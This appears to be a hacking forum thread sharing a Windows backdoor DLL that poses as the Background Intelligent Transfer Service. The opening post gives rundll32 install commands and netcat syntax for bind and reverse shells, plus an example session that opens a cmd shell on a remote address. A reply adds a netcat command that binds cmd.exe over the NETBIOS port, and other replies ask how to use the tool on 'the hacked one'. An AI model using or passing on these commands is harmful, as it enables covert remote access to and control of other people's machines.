BITS(Background Intelligent Transfer Service)
a great conceal backdoor for windows

install:
rundll32.exe BITS.dll,Install <Active Strings>
Active Strings :specify by uself
uninstall:
rundll32.exe BITS.dll,Uninstall

nc ip port(any port,139.80...)
<Active Strings>@dancewithdolphin[xell]:<PORT>
binder the cmd at anyport

nc -v -l -p listenport
nc IP port
<Active Strings>@dancewithdolphin[rxell]:<Your IP>:<Listen Port>

Example:

C:\My Documents>nc 219.237.63.199 139
securitystrings@dancewithdolphin[xell]:7
?

C:\My Documents>nc 219.237.63.199 7
廙icrosoft Windows 2000 [Version 5.00.2195]
© 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>

u can install it with
rundll32.exe BITS.dll,Install rasauto <Active Strings>
too

Thanx.
I will check it you.

(wohoo my first post by the way )

Can you give an other couple examples?


I do not understand precisily what the .dll does.

Thanks,

Sir NFS

Looks though

This program will be cool.
1st reason is seeing the process rundll32.exe running is less conspicious than a dodgy .exe

Has anyone actually made this work?
Perhaps i'm not following his "instructions" properly... But then again, they're not exactly the clearest i've ever seen.

i not sure to have understand it but i'll try ... thank

:eek: I don't really get it myself, but I'll try it out...
Maybe I can find something to make this work...


Thanks for the tools Anarchy!!!!!


^RB^

can anyone explain this a bit better ? don't get it with this explication

maybe someone gives a better example.
I need to use that nc onlyon my own comp ? or also on the hacked one ?
what about the chose of the port ? 80 ? 139? must it be a used port ?
etc ...

Thanks man I found it was as clear as a nice summer day simple as hell too...

Please enlighten us then MpR

if im not mystaken the correct syntax for getting a shell through nc is:
nc -v -L -e cmd.exe -p 139 -s xxx.xxx.xxx.xxx

This gives Netcat priority over the NETBIOS
service which is at a lower priority because it is bound to ANY IP address.
This is done with the Netcat -s option

and beside that - why do i need the bits.dll if i can nc -l from that machine' isnt that enough ?? please tell me more about this dll= who made it and what does it functions...